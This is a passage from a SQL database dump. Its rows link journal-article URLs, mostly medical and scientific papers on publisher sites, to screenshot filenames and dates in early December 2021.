NG',0,7,'2021-12-01'),(1811,8242,4,0,'https://www.imedpub.com/articles/sequential-adaptation-of-vero-cell-lines-in-serum-free-medium-for-fixed-rabies-virus-propagation.pdf','1811-comm-sct.PNG',6,7,'2021-12-01'),(1812,6936,4,0,'https://medwinpublishers.com/GHIJ/ischemic-proctitis-a-rare-clinical-situation.pdf','1812-comm-sct.PNG',0,7,'2021-12-01'),(1813,8189,4,0,'https://www.jetir.org/papers/JETIR2104236.pdf','1813-comm-sct.PNG',6,7,'2021-12-01'),(1814,8181,4,0,'https://ideas.repec.org/a/pkp/tajoam/2015p1-18.html','1814-comm-sct.PNG',6,7,'2021-12-01'),(1815,8467,4,0,'https://pubmed.ncbi.nlm.nih.gov/34232945/','1815-comm-sct.PNG',6,7,'2021-12-01'),(1816,8412,4,0,'https://www.amhsr.org/articles/substance-use-disorders-in-adhd-a-multimodal-approach.pdf','1816-comm-sct.PNG',6,7,'2021-12-01'),(1817,7820,4,0,'https://www.longdom.org/open-access/the-effect-of-extracts-of-citrus-sinensis-peel-on-protoscolices-in-echinococcusgranulosus.pdf','1817-comm-sct.PNG',0,7,'2021-12-01'),(1818,8504,4,0,'http://mbimph.com/index.php/AJOAIMS/article/view/2159','1818-comm-sct.PNG',6,7,'2021-12-01'),(1819,8504,4,0,'http://mbimph.com/index.php/AJOAIMS/article/view/2159','1819-comm-sct.PNG',6,7,'2021-12-01'),(1820,7810,4,0,'https://herbal-medicine.imedpub.com/assessment-of-antimicrobial-and-antioxidant-efficacy-of-methanol-extract-of-ziziphus-spinachristi-against-some-pathogenic-microorg.php?aid=36924','1820-comm-sct.PNG',0,7,'2021-12-01'),(1821,7720,4,0,'https://www.hilarispublisher.com/conference-abstracts-files/childhood-traumatic-stress--from-globalisation-to-localisation.pdf','1821-comm-sct.PNG',0,7,'2021-12-01'),(1822,7809,4,0,'https://www.heighpubs.org/jpsp/jpsp-aid1056.php','1822-comm-sct.PNG',0,7,'2021-12-01'),(1823,7782,4,0,'https://hospital-medical-management.imedpub.com/integration-of-stophf-model-in-primary-healthcare-system-in-pakistan.pdf','1823-comm-sct.PNG',0,7,'2021-12-01'),(1824,7363,4,0,'https://www.scilit.net/article/fa0d5661f7d82aa230b5e8f82237d729','1824-comm-sct.PNG',0,7,'2021-12-01'),(1825,8455,4,0,'http://www.sciepub.com/ajnr/abstract/13389','1825-comm-sct.PNG',6,7,'2021-12-01'),(1826,6665,4,0,'https://www.hsj.gr/medicine/level-of-active-mental-healthrelatedmass-media-female-students-the-duringcovid19-pandemic.php?aid=33600','1826-comm-sct.PNG',6,7,'2021-12-01'),(1827,8109,4,0,'http://www.ijaresm.com/to-study-changes-in-static-and-dynamic-balance-in-healthy-women-with-regular-heels-usage','1827-comm-sct.PNG',6,7,'2021-12-01'),(1828,7209,4,0,'https://anaesthesia-painmedicine.imedpub.com/combitube-inclusion-in-the-circumstance-of-intense-aviation-route-obstacle-after-extubation-in-patients-went-through-twojaw-a-medi.pdf','1828-comm-sct.PNG',0,7,'2021-12-01'),(1829,8111,4,0,'https://www.imedpub.com/articles/to-evaluate-the-antiarthritic-and-immunomodulatory-activity-of-hydroalcoholic-and-methanolic-extract-of-quisqualis-indica-linn-in.pdf','1829-comm-sct.PNG',6,7,'2021-12-01'),(1830,6622,4,0,'https://www.imedpub.com/articles/neurophsyology-of-female-sexuality.php?aid=33735','1830-comm-sct.PNG',6,7,'2021-12-01'),(1831,7211,4,0,'https://anaesthesia-painmedicine.imedpub.com/an-uncommon-difficulty-during-arthrocentesis-n-facialis-loss-of-motion-with-n-lingualis-and-n-alveolaris-subpar-sedation.pdf','1831-comm-sct.PNG',0,7,'2021-12-01'),(1832,6712,4,0,'https://biomedres.us/pdfs/BJSTR.MS.ID.005280.pdf','1832-comm-sct.PNG',6,7,'2021-12-01'),(1833,7538,4,0,'https://www.imedpub.com/articles/impact-of-increasing-number-of-beams-on-heart-dosedistribution-in-leftsided-breastirradiation-using-intensitymodulated-radiotherap.pdf','1833-comm-sct.PNG',0,7,'2021-12-01'),(1834,6833,4,0,'https://psychopathology.imedpub.com/abstract/gracie-jiujitsu-in-traumafocused-care-an-exploratory-case-report-37140.html','1834-comm-sct.PNG',6,7,'2021-12-01'),(1835,7208,4,0,'https://www.imedpub.com/articles/role-of-microwave-assisted-treatments-in-the-extraction-of-flax-seed-oil-from-linum-usitatissimum.pdf','1835-comm-sct.PNG',0,7,'2021-12-01'),(1836,7307,4,0,'https://www.imedpub.com/articles/real-world-management-of-bleeding-posttpa-in-acute-ischemic-stroke.pdf','1836-comm-sct.PNG',0,7,'2021-12-01'),(1837,6515,4,0,'https://diversityhealthcare.imedpub.com/an-overview-of-investigational-drugs-for-the-treatment-of-covid19.php?aid=35544','1837-comm-sct.PNG',6,7,'2021-12-01'),(1838,7143,4,0,'https://www.imedpub.com/articles/the-development-of-supply-chain-performance-by-application-of-lean-managementmediating-effect-of-agility.pdf','1838-comm-sct.PNG',0,7,'2021-12-01'),(1839,6702,4,0,'https://www.ijsr.net/archive/v10i5/SR21508105252.pdf','1839-comm-sct.PNG',6,7,'2021-12-01'),(1840,6879,4,0,'http://www.ajchem-b.com/article_131617_df894db0ac6f36f0b68059a464657f2a.pdf','1840-comm-sct.PNG',0,7,'2021-12-02'),(1841,7950,4,0,'https://www.imedpub.com/articles/acute-promyelocytic-leukemiacurrent-treatment-protocols.pdf','1841-comm-sct.PNG',0,7,'2021-12-02'),(1842,7353,4,0,'https://www.msjonline.org/index.php/ijrms/article/viewFile/9660/6465','1842-comm-sct.PNG',0,7,'2021-12-02'),(1843,7935,4,0,'https://trauma-acute-care.imedpub.com/an-overview-traumatic-brain-injury-editorial.pdf','1843-comm-sct.PNG',6,7,'2021-12-02'),(1844,6486,4,0,'https://www.researchgate.net/publication/343905509_Uncovering_the_mystery_of_language','1844-comm-sct.PNG',6,7,'2021-12-02'),(1845,7835,4,0,'https://www.longdom.org/open-access/magnitude-of-anemia-and-socio-demographic-factors-associated-with-it-among-adults-age-1549-years-in-ethiopia-a-population-based-st-68344.html','1845-comm-sct.PNG',0,7,'2021-12-02'),(1846,8101,4,0,'https://www.imedpub.com/articles/effects-of-adansonia-digitata-pulp-extract--on-ovarian-damage-induced-by-carbon-tetrachloride-ccl4-in-adult-female-wistar-rats-rat.php?aid=37480','1846-comm-sct.PNG',6,7,'2021-12-02'),(1847,8140,4,0,'https://www.irjet.net/archives/V8/i5/IRJET-V8I5506.pdf','1847-comm-sct.PNG',6,7,'2021-12-02'),(1848,6916,4,0,'https://pediatric-emergency-care.imedpub.com/severe-methemoglobinemia-secondary-to-gunpowder-sniff-in-an-infant-to-treat-infantile-colic-a-case-report.pdf','1848-comm-sct.PNG',0,7,'2021-12-02'),(1849,6489,4,0,'https://clinical-psychiatry.imedpub.com/correlation-between-levels-of-serum-cholesterol-and-depression-in-parasuicide-patients.pdf','1849-comm-sct.PNG',6,7,'2021-12-02'),(1850,8661,4,0,'https://www.researchgate.net/publication/353073326_Voice_Parameter_Analysis_for_Early_Detection_of_Autism_in_Children','1850-comm-sct.PNG',6,7,'2021-12-02'),(1851,8379,4,0,'https://www.imedpub.com/abstract/a-novel-method-of-screening-for-rheumatoid-arthritis-using-machine-learning-37589.html','1851-comm-sct.PNG',6,7,'2021-12-02'),(1852,6711,4,0,'https://www.imedpub.com/articles/amylolytic-and-proteolytic-enzyme-activities-of-plant-and-fungal-foods-for-the-flavor-enhancement.pdf','1852-comm-sct.PNG',6,7,'2021-12-02'),(1853,8421,4,0,'https://www.imedpub.com/articles/provide-a-recommender-system-for-predicting-users-favorite-music-using-gray-wolf-algorithm-and-neural-networks.pdf','1853-comm-sct.PNG',6,7,'2021-12-02'),(1854,8069,4,0,'https://www.researchgate.net/publication/352363552_Electro-detection_of_the_antibacterial_Metronidazole_using_zinc_oxide_nanoparticles_formed_on_graphitic_carbon_sheets_Analytical_application_Human_serum_and_Urine','1854-comm-sct.PNG',0,7,'2021-12-02'),(1855,8416,4,0,'https://www.africanjournalofrespiratorymedicine.com/articles/respiratory-symptoms-and-ventilatory-function-tests-in-nigerian-adults-with-sickle-cell-anaemia.pdf','1855-comm-sct.PNG',6,7,'2021-12-02'),(1856,4399,4,0,'https://www.hilarispublisher.com/open-access/assessment-of-surface-water-qualities-in-ihetutu-mining-areas-of-ishiagu-nigeria-using-water-quality-index-model.pdf','1856-comm-sct.PNG',6,7,'2021-12-02'),(1857,7065,4,0,'https://pediatrics.imedpub.com/incidence-and-risk-factors-predisposing-to-retinopathy-of-prematurity-and-treatment-outcome-a-retrospective-cohort-study.pdf','1857-comm-sct.PNG',0,7,'2021-12-02'),(1858,7202,4,0,'https://pediatrics.imedpub.com/global-aspects-of-allergic-conjunctivitis-in-children.pdf','1858-comm-sct.PNG',0,7,'2021-12-02'),(1859,6857,4,0,'https://www.hilarispublisher.com/open-access/inflammatory-myofibroblastic-tumor-of-the-lung-a-rare-case.pdf','1859-comm-sct.PNG',6,7,'2021-12-02'),(1860,6867,4,0,'https://www.researchgate.net/publication/347434074_Anaphylaxis_in_Children_Experience_of_an_Egyptian_Center','1860-comm-sct.PNG',0,7,'2021-12-02'),(1861,6475,4,0,'https://www.researchgate.net/publication/348620607_Acute_small_bowel_mesenteric_ischemianon_occlusive_in_a_chronic_kidney_disease_patient_on_hemodialysis-a_case_report','1861-comm-sct.PNG',6,7,'2021-12-02'),(1862,7120,4,0,'https://figshare.com/articles/preprint/How_to_manage_patients_with_non_colorectal_digestive_cancers_during_COVID-19_pandemic_/12517889/2','1862-comm-sct.PNG',0,7,'2021-12-02'),(1863,7578,4,0,'https://www.x-mol.com/paper/1397300480155566080?recommendPaper=1212919685308030995','1863-comm-sct.PNG',0,7,'2021-12-02'),(1864,6932,4,0,'https://papers.ssrn.com/sol3/papers.cfm?abstract_id=3804363','1864-comm-sct.PNG',0,7,'2021-12-02'),(1865,7294,4,0,'https://www.imedpub.com/articles/biotic-communities--biodiversity.pdf','1865-comm-sct.PNG',0,7,'2021-12-02'),(1866,8059,4,0,'https://www.imedpub.com/articles/diminishing-noise-pollution--diminishes-the-hearing-capacity.pdf','1866-comm-sct.PNG',0,7,'2021-12-02'),(1867,7246,4,0,'http://journalijcar.org/issues/molecular-detection-herpes-simplex-viruses-hsv-among-encephalitis-patients-chennai','1867-comm-sct.PNG',0,7,'2021-12-02'),(1868,7522,4,0,'https://clinical-experimental-nephrology.imedpub.com/abstract/proteomic-analysis-for-cryofibrinogen-associated-glomerulonephritis--cryoglobulinemic-glomerulonephritis-36330.html','1868-comm-sct.PNG',0,7,'2021-12-02'),(1869,7801,4,0,'https://clinical-experimental-nephrology.imedpub.com/simple-protocol-for-amyloid-extraction-from-ffpe-sections-using-organic-solvent.pdf','1869-comm-sct.PNG',0,7,'2021-12-02'),(1870,6821,4,0,'https://academic.oup.com/bjs/article/108/Supplement_7/znab312.066/6411414?login=true','1870-comm-sct.PNG',6,7,'2021-12-02'),(1871,6918,4,0,'https://www.imedpub.com/articles/ralstonia-solanacearum-virulence-in-two-different-susceptible-hosts-by-the-leaf-clip-inoculation-method.pdf','1871-comm-sct.PNG',0,7,'2021-12-02'),(1872,6945,4,0,'https://www.imedpub.com/articles/longlasting-systematic-roguing-for-effective-management-of-cabmv-in-passionflowerorchards-through-maintenance-ofindividualized-pla.pdf','1872-comm-sct.PNG',0,7,'2021-12-02'),(1873,7141,4,0,'https://www.imedpub.com/articles/distribution-intensity-and-morphological-variability-of-wheat-blotch-septoria-tritici-in-centralsoutheastern-of-oromia-ethiopia.pdf','1873-comm-sct.PNG',0,7,'2021-12-02'),(1874,7215,4,0,'https://trauma-acute-care.imedpub.com/pervasive-developmental-disorders-complications-and-its-measures.pdf','1874-comm-sct.PNG',0,7,'2021-12-02'),(1875,6869,4,0,'https://www.imedpub.com/abstract/correlation-of-fine-needle-aspiration-cytology-with-thyroid-function-test-in-tertiary-care-hospital-kathmandu-34450.html','1875-comm-sct.PNG',0,7,'2021-12-02'),(1876,6841,4,0,'https://jmscr.igmpublication.org/v9-i1/12%20jmscr.pdf','1876-comm-sct.PNG',6,7,'2021-12-02'),(1877,7860,4,0,'file:///C:/Users/omics/Downloads/MoringaandCancer2021.pdf','1877-comm-sct.PNG',0,7,'2021-12-02'),(1878,6815,4,0,'https://www.rroij.com/open-access/a-review-of-folk-ethnic-medicines-in-shopian.pdf','1878-comm-sct.PNG',6,7,'2021-12-02'),(1879,7124,4,0,'https://interventional-radiology.imedpub.com/computed-tomography-guided-stereotactic-device-for-the-whole-bodytechnical-note.pdf','1879-comm-sct.PNG',0,7,'2021-12-02'),(1880,6872,4,0,'https://ejentas.journals.ekb.eg/article_131323_0.html','1880-comm-sct.PNG',6,7,'2021-12-02'),(1881,7292,4,0,'https://journals.sagepub.com/doi/pdf/10.1177/15385744211028724','1881-comm-sct.PNG',0,7,'2021-12-02'),(1882,6813,4,0,'https://mycology.imedpub.com/factors-influences-the-screening-and-counseling-on-sexually-transmitted-infections-among-adults-in-maiduguri-metropolis-of-borno-s.pdf','1882-comm-sct.PNG',6,7,'2021-12-02'),(1883,7230,4,0,'https://www.imedpub.com/articles/accelerated-graphics-portcharacteristics-and-applications.pdf','1883-comm-sct.PNG',0,7,'2021-12-02'),(1884,7317,4,0,'https://www.imedpub.com/abstract/scaling-data-intensive-application-using-containerization-volunteering-cloud-computing-36662.html','1884-comm-sct.PNG',0,7,'2021-12-02'),(1885,7451,4,0,'https://www.imedpub.com/articles/the-comparison-between-gumbel-and-exponentiated-gumbel-distributions-and-their-applications-in-hydrological-process.pdf','1885-comm-sct.PNG',0,7,'2021-12-02'),(1886,7040,4,0,'https://docplayer.net/164324918-Esmo-advanced-course-on-ntrk-gene-fusion-acquired-resistance-to-ntrk-inhibitors-ulrik-lassen-professor-md-phd-lyon-september-2019.html','1886-comm-sct.PNG',0,7,'2021-12-02'),(1887,6846,4,0,'https://www.tsijournals.com/articles/effects-of-storage-on-some-properties-of-selected-soft-drinks-sold-in-nigeria.pdf','1887-comm-sct.PNG',6,7,'2021-12-02'),(1888,6842,4,0,'https://ijshr.com/IJSHR_Vol.6_Issue.2_April2021/IJSHR025.pdf','1888-comm-sct.PNG',6,7,'2021-12-02'),(1889,7200,4,0,'https://www.jbiomeds.com/abstract/enzyme-inhibitory-and-antioxidant-activities-of-sterculia-tragacantha-lindl-leaves-in-the-management-of-type-ii-diabetes-mellitus-35097.html','1889-comm-sct.PNG',0,7,'2021-12-02'),(1890,6924,4,0,'https://www.interesjournals.org/abstract/rapid-micropropogation-protocol-and-conservation-of-tribulus-terrestris-l-from-in-vitro-raised-explants-a-valuable-medic-67558.html','1890-comm-sct.PNG',0,7,'2021-12-02'),(1891,6504,4,0,'https://packaging360.in/insights/shifting-obstacles-to-opportunities/','1891-comm-sct.PNG',6,7,'2021-12-02'),(1892,7344,4,0,'https://www.imedpub.com/articles/efficacy-and-safety-of-remdesivir-in-renal-transplant-recipients-withcovid19-infection--an-initial-experience-at-jaslok-hospital-m.pdf','1892-comm-sct.PNG',0,7,'2021-12-02'),(1893,10469,4,0,'https://www.imedpub.com/articles/cannabinoid-and-its-effects-on-cancer.pdf','1893-comm-sct.PNG',0,7,'2021-12-02'),(1894,10484,4,0,'https://neurosurgery.imedpub.com/diagnosis-and-treatment-of-craniosynostosis.pdf','1894-comm-sct.PNG',0,7,'2021-12-02'),(1895,10485,4,0,'https://neurosurgery.imedpub.com/technologies-of-minimally-invasive-neurosurgery.pdf','1895-comm-sct.PNG',0,7,'2021-12-02'),(1896,6579,4,0,'http://www.jseejournal.com/media/245/attachment/Alcohol%20generation%20from%20pp.%2013-21.pdf','1896-comm-sct.PNG',6,7,'2021-12-02'),(1897,10488,4,0,'https://biomarkers.imedpub.com/a-short-note-on-biorepositories-and-biomarker-development.pdf','1897-comm-sct.PNG',0,7,'2021-12-02'),(1898,8065,4,0,'https://www.journalajrcos.com/index.php/AJRCOS/article/view/30197','1898-comm-sct.PNG',0,7,'2021-12-02'),(1899,6656,4,0,'https://www.medicalandresearch.com/journals/view_article/222','1899-comm-sct.PNG',6,7,'2021-12-02'),(1900,10506,4,0,'https://stroke.imedpub.com/stroke-research-and-therapy.pdf','1900-comm-sct.PNG',6,7,'2021-12-02'),(1901,10498,4,0,'https://www.imedpub.com/articles/general-sedative-principles-of-colchicine-cyclooxygenase-and-regular-activity-of-pharmacokinetics-and-pharmacodynamics.pdf','1901-comm-sct.PNG',6,7,'2021-12-02'),(1902,10502,4,0,'https://www.imedpub.com/articles/evolution-of-dietary-patterns-in-liver-and-study-of-hepatotoxicity-and-hepatoprotective.pdf','1902-comm-sct.PNG',6,7,'2021-12-02'),(1903,7449,4,0,'https://www.hsj.gr/medicine/male-partners-involvement-and-associated-factors-in-prevention-of-mother-to-child-transmission-of-hiv-in-east-badawacho-district-h.pdf','1903-comm-sct.PNG',6,7,'2021-12-02'),(1904,7629,4,0,'https://www.archivesofmedicine.com/medicine/editorial-note-on-covid-19-latest-updates-and-drug-development.pdf','1904-comm-sct.PNG',6,7,'2021-12-02'),(1905,7267,4,0,'https://www.longdom.org/open-access/effect-of-ramadan-fasting-on-body-composition-and-dietary-intake-aprospective-study-in-the-state-of-qatar.pdf','1905-comm-sct.PNG',6,7,'2021-12-02'),(1906,6131,4,0,'https://www.journalijdr.com/sites/default/files/issue-pdf/20344.pdf','1906-comm-sct.PNG',0,7,'2021-12-02'),(1907,7733,4,0,'https://www.hsd-fmsb.org/index.php/hsd/article/view/2657/pdf_1243','1907-comm-sct.PNG',6,7,'2021-12-02'),(1908,6345,4,0,'https://medicalphysics.imedpub.com/a-short-commentary-on-preparation-and-antimicrobial-activity-of-znonps-coated-cottonstarch-and-their-functionalized-znoagcotton-an.pdf','1908-comm-sct.PNG',0,7,'2021-12-02'),(1909,7017,4,0,'https://www.ncbi.nlm.nih.gov/labs/pmc/articles/PMC7452359/','1909-comm-sct.PNG',6,7,'2021-12-02'),(1910,7687,4,0,'https://www.journalajcr.com/index.php/AJCR/article/view/30126','1910-comm-sct.PNG',6,7,'2021-12-02'),(1911,7648,4,0,'https://nanotechnology.imedpub.com/editorial-note-on-silver-nano-particles.pdf','1911-comm-sct.PNG',6,7,'2021-12-02'),(1912,6016,4,0,'https://www.imedpub.com/articles/case-of-multiple-pulmonary-metastasis-from-a-benign-intercranialmeningioma.php?aid=34139','1912-comm-sct.PNG',0,7,'2021-12-02'),(1913,7671,4,0,'https://nanotechnology.imedpub.com/editorial-note-on-nano-technology-of-face-masks.pdf','1913-comm-sct.PNG',6,7,'2021-12-02'),(1914,7672,4,0,'https://nanotechnology.imedpub.com/editorial-note-on-nano-technology.pdf','1914-comm-sct.PNG',6,7,'2021-12-02'),(1915,5954,4,0,'https://obesity.imedpub.com/the-transcutaneous-auricular-vagus-nerve-stimulation-tavns-in-treatment-of-depression-and-anxiety-disorders-in-recovery-patient-wi.php?aid=32625','1915-comm-sct.PNG',0,7,'2021-12-02'),(1916,5958,4,0,'file:///C:/Users/omics/Downloads/2021Kzmaz2.pdf','1916-comm-sct.PNG',0,7,'2021-12-02'),(1917,7673,4,0,'https://nanotechnology.imedpub.com/editorial-note-on-bioremediation-using-nano-particles.pdf','1917-comm-sct.PNG',6,7,'2021-12-02'),(1918,6028,4,0,'https://www.imedpub.com/articles/pediatric-surgery-a-new-surgical-specialty-in-nepal-and-its-critical-issues.pdf','1918-comm-sct.PNG',0,7,'2021-12-02'),(1919,7674,4,0,'https://nanotechnology.imedpub.com/editorial-note-on-nano-medicine.pdf','1919-comm-sct.PNG',6,7,'2021-12-02'),(1920,7288,4,0,'https://www.imedpub.com/articles/importance-of-water-in-our-environment.pdf','1920-comm-sct.PNG',0,7,'2021-12-02'),(1921,6060,4,0,'https://journals.sagepub.com/doi/full/10.1177/2397847321997523','1921-comm-sct.PNG',0,7,'2021-12-02'),(1922,6333,4,0,'https://www.imedpub.com/articles/on-the-scalability-of-a-blockchain-network-based-on-the-practical-byzantine-fault-tolerance-consensus-method.pdf','1922-comm-sct.PNG',0,7,'2021-12-02'),(1923,6374,4,0,'https://www.imedpub.com/articles/a-proposal-for-a-new-biological-supercomputer-based-exclusively-on-rna-molecules-quantum-mechanics-and-nanoptics.pdf','1923-comm-sct.PNG',0,7,'2021-12-02'),(1924,6258,4,0,'https://www.imedpub.com/articles/food-intolerance-and-autism.pdf','1924-comm-sct.PNG',0,7,'2021-12-02'),(1925,6426,4,0,'http://article.sapub.org/10.5923.j.ajbe.20201003.01.html','1925-comm-sct.PNG',0,7,'2021-12-02'),(1926,6250,4,0,'https://mycology.imedpub.com/clinical-behavior-of-oral-lichen-planus-in-association-with-candidiasis.pdf','1926-comm-sct.PNG',0,7,'2021-12-02'),(1927,10532,4,0,'https://www.imedpub.com/articles/study-description-on-dna-nanotechnology-and-its-applications.pdf','1927-comm-sct.PNG',0,7,'2021-12-02'),(1928,10540,4,0,'https://www.imedpub.com/articles/study-description-on-advance-techniques-of-nanotechnology-in-drug-delivery-system.pdf','1928-comm-sct.PNG',0,7,'2021-12-02'),(1929,5718,4,0,'https://www.imedpub.com/articles/peri-operative-management-of-a-patient-with-sickle-cell-traithematological-aspects.pdf','1929-comm-sct.PNG',6,7,'2021-12-02'),(1930,10562,4,0,'https://medical-case-reports.imedpub.com/covid19-associated-cerebral-infarction-in-an-elderly-patient-a-case-report.pdf','1930-comm-sct.PNG',0,7,'2021-12-02'),(1931,10619,4,0,'https://www.imedpub.com/articles/breast-cancer-a-brief-study-on-treatment-using-new-receptors.php?aid=40364','1931-comm-sct.PNG',6,7,'2021-12-02'),(1932,10591,4,0,'https://green-chemistry.imedpub.com/an-overview-on-future-global-development-goal.pdf','1932-comm-sct.PNG',0,7,'2021-12-02'),(1933,5077,4,0,'https://www.journalcra.com/sites/default/files/issue-pdf/39243.pdf','1933-comm-sct.PNG',6,7,'2021-12-02'),(1934,4815,4,0,'https://www.imedpub.com/articles/regeneration-and-carcinogenesis.pdf','1934-comm-sct.PNG',6,7,'2021-12-02'),(1935,8426,4,0,'https://www.jelsciences.com/articles/jbres1245.php','1935-comm-sct.PNG',6,7,'2021-12-02'),(1936,5875,4,0,'https://scholarworks.waldenu.edu/cgi/viewcontent.cgi?article=10704&context=dissertations','1936-comm-sct.PNG',0,7,'2021-12-02'),(1937,5810,4,0,'https://www.imedpub.com/articles/successful-handling-of-covid19-in-young-patient-with-scid-due-to-carmil2-rltpr-deficiency-a-case-report--review-of-literature.pdf','1937-comm-sct.PNG',0,7,'2021-12-02'),(1938,5843,4,0,'https://www.imedpub.com/articles/in-silico-analysis-of-structure-activity-relationship-of-conotoxins-with-cav-22-channel-receptor-for-treatment-of-neuropathic-pain.pdf','1938-comm-sct.PNG',0,7,'2021-12-02'),(1939,8570,4,0,'https://interventional-radiology.imedpub.com/a-short-note-on-high-resolution-computed-tomography.pdf','1939-comm-sct.PNG',0,7,'2021-12-02'),(1940,5783,4,0,'file:///C:/Users/omics/Downloads/the-role-of-cytokines-and-cellular-receptors-in-the-tuberculosisassociated-immune-reconstitution-inflammatory-syndrome.pdf','1940-comm-sct.PNG',0,7,'2021-12-02'),(1941,5835,4,0,'https://medicalphysics.imedpub.com/effectiveness-of-computer-controlled-wedge-filter-in-reduction-of-penumbra-width-in-siemens-oncor-linear-accelerator.php?aid=29882','1941-comm-sct.PNG',0,7,'2021-12-02'),(1942,5719,4,0,'https://reader.elsevier.com/reader/sd/pii/S2468600X20300554?token=C1B44BECD5CAD1F4920316E0C9FE0BF3AA33DA8E40D332E85749942EAE04A05A8DA514E0E9A13C7BAC24905F49F7085C&originRegion=eu-west-1&originCreation=20211203043535','1942-comm-sct.PNG',6,7,'2021-12-03'),(1943,10594,4,0,'https://www.imedpub.com/articles/a-technique-for-resolution-assessment-in-blindsim-experiments.pdf','1943-comm-sct.PNG',0,7,'2021-12-03'),(1944,4747,4,0,'https://obesity.imedpub.com/six-of-one-half-a-dozen-of-the-other-can-we-successfully-incorporated-interviewing-techniques-for-weight-loss-problems-in-bipolar.pdf','1944-comm-sct.PNG',6,7,'2021-12-03'),(1945,5273,4,0,'https://www.medwinpublishers.com/JONAM/role-of-turmeric-with-calcium-hydroxide-in-combination-in-prophylaxis-&-therapeutic-management-of-sars-cov2-covid-19-corona-virus.pdf','1945-comm-sct.PNG',6,7,'2021-12-03'),(1946,4683,4,0,'https://pubmed.ncbi.nlm.nih.gov/32873175/','1946-comm-sct.PNG',6,7,'2021-12-03'),(1947,5331,4,0,'https://www.ejmcm.com/article_10402.html','1947-comm-sct.PNG',6,7,'2021-12-03'),(1948,10397,4,0,'https://www.imedpub.com/articles/evaluation-of-changes-in-catalase-and-malondialdehyde-antioxidants-in-the-blood-of-cats-with-felinecalcivirus-disease-in-tabriz-ir.pdf','1948-comm-sct.PNG',0,7,'2021-12-03'),(1949,4715,4,0,'https://www.researchgate.net/publication/343212743_Status_of_distribution_of_coronavirus_disease_COVID-19_in_Ethiopia_within_first_three_months','1949-comm-sct.PNG',6,7,'2021-12-03'),(1950,10402,4,0,'https://www.imedpub.com/articles/borderline-personality-disorder.php?aid=40303','1950-comm-sct.PNG',0,7,'2021-12-03'),(1951,4567,4,0,'https://www.hsj.gr/medicine/dry-needling-versus-soft-tissue-release-to-treat-migraine-headache-a-randomized-clinical-trial.php?aid=29714','1951-comm-sct.PNG',6,7,'2021-12-03'),(1952,10653,4,0,'https://www.imedpub.com/articles/role-of-oral-antidiabetic-agents-in-diabetes-treatment.php?aid=40680','1952-comm-sct.PNG',6,7,'2021-12-03'),(1953,8131,4,0,'file:///C:/Users/omics/Downloads/6-3-126-205.pdf','1953-comm-sct.PNG',0,7,'2021-12-03'),(1954,10651,4,0,'https://www.imedpub.com/articles/a-brief-note-on-consequences-and-types-of-diabetes-mellitus.pdf','1954-comm-sct.PNG',6,7,'2021-12-03'),(1955,8375,4,0,'https://zenodo.org/record/4729544#.Yams-FVBzIU','1955-comm-sct.PNG',0,7,'2021-12-03'),(1956,10637,4,0,'https://www.imedpub.com/articles/role-of-insulin-in-diabetic-patients.pdf','1956-comm-sct.PNG',6,7,'2021-12-03'),(1957,8465,4,0,'https://psychopathology.imedpub.com/two-exploratory-pathways-between-intolerance-of-uncertainty-anxiety-and-depression-in-the-context-of-covid19-indonesia-research-ar.pdf','1957-comm-sct.PNG',0,7,'2021-12-03'),(1958,10661,4,0,'https://www.imedpub.com/articles/brief-on-nanowire-in-field-emission.pdf','1958-comm-sct.PNG',6,7,'2021-12-03'),(1959,8794,4,0,'https://clinical-nutrition.imedpub.com/formula-switch-leads-to-enteral-feeding-tolerance-improvements-in-adults-a-case-series.pdf','1959-comm-sct.PNG',0,7,'2021-12-03'),(1960,8326,4,0,'https://criticalcare.imedpub.com/a-new-score-to-assess-the-perioperative-period-a-retrospective-evaluation-of-acase-report-by-peridia-score.php?aid=38561','1960-comm-sct.PNG',0,7,'2021-12-03'),(1961,8518,4,0,'https://www.imedpub.com/articles/femoral-length-reconstruction-in-adults-an-osteometric-and-radiographical-approach-using-regression-equations.php?aid=38454','1961-comm-sct.PNG',0,7,'2021-12-03'),(1962,8243,4,0,'https://www.worldscientific.com/doi/epdf/10.1142/S2737416521500228','1962-comm-sct.PNG',0,7,'2021-12-03'),(1963,8511,4,0,'https://www.archivesofmedicine.com/medicine/cardiorespiratory-events-in-children-during-chemoembolization-of-ophthalmic-artery-for-retinoblastoma.pdf','1963-comm-sct.PNG',0,7,'2021-12-03'),(1964,4039,4,0,'https://www.imedpub.com/articles/management-of-toxicities-from-immunotherapy-in-cancer-patients.pdf','1964-comm-sct.PNG',6,7,'2021-12-03'),(1965,8328,4,0,'https://www.oatext.com/pdf/JIC-7-308.pdf','1965-comm-sct.PNG',0,7,'2021-12-03'),(1966,4094,4,0,'https://www.imedpub.com/articles/a-chemical-disaster-in-vizag-during-covid19-pandemic.pdf','1966-comm-sct.PNG',6,7,'2021-12-03'),(1967,8538,4,0,'https://www.imedpub.com/articles/the-eeg-report-is-structured-to-include-demographics-of-the-patient-studied-and-reason-for-the-eeg.pdf','1967-comm-sct.PNG',0,7,'2021-12-03'),(1968,8503,4,0,'https://diversityhealthcare.imedpub.com/after-ankle-fracture-treatment-enhanced-recovery-project-a-multidisciplinary-and-cost-effective-approach-to-improve-patient-outcom.pdf','1968-comm-sct.PNG',0,7,'2021-12-03'),(1969,3329,4,0,'https://jcdr.net/article_fulltext.asp?issn=0973-709x&year=2020&volume=14&issue=6&page=OC13&issn=0973-709x&id=13770','1969-comm-sct.PNG',6,7,'2021-12-03'),(1970,3963,4,0,'https://psychopathology.imedpub.com/executive-functions-and-levels-of-stress-in-decisionmaking-a-study-of-adolescents-with-cleft-lip-and-palate.pdf','1970-comm-sct.PNG',6,7,'2021-12-03'),(1971,2884,4,0,'https://www.imedpub.com/abstract/case-report-on-bullous-lichen-planus-25441.html','1971-comm-sct.PNG',6,7,'2021-12-03'),(1972,732,4,0,'https://www.imedpub.com/articles/pharmacologic-treatment-of-attention-deficit-disorder-in-children-and-adolescents-executive-function-agents-stimulants-and-sympath.php?aid=24668','1972-comm-sct.PNG',6,7,'2021-12-03'),(1973,7880,4,0,'https://www.jbiomeds.com/abstract/alveococcus-multilocularis-leuckart-1858-abuladse-1960-prevalence-sources-and-factors-of-pathogen-transmission-in-the-arctic-zone-of-yakutia-37992.html','1973-comm-sct.PNG',0,7,'2021-12-03'),(1974,7774,4,0,'https://www.pubtexto.com/journals/international-journal-of-stem-cells-and-regenerative-medicine/fulltext/metachronous-breast-cancer-in-patient-with-renal-cell-cancer-experience-at-national-cancer-institute-in-misratalibya','1974-comm-sct.PNG',0,7,'2021-12-03'),(1975,7478,4,0,'https://www.imedpub.com/articles/study-of-gene-pathways-involved-in-cold-tolerance-process-in-sug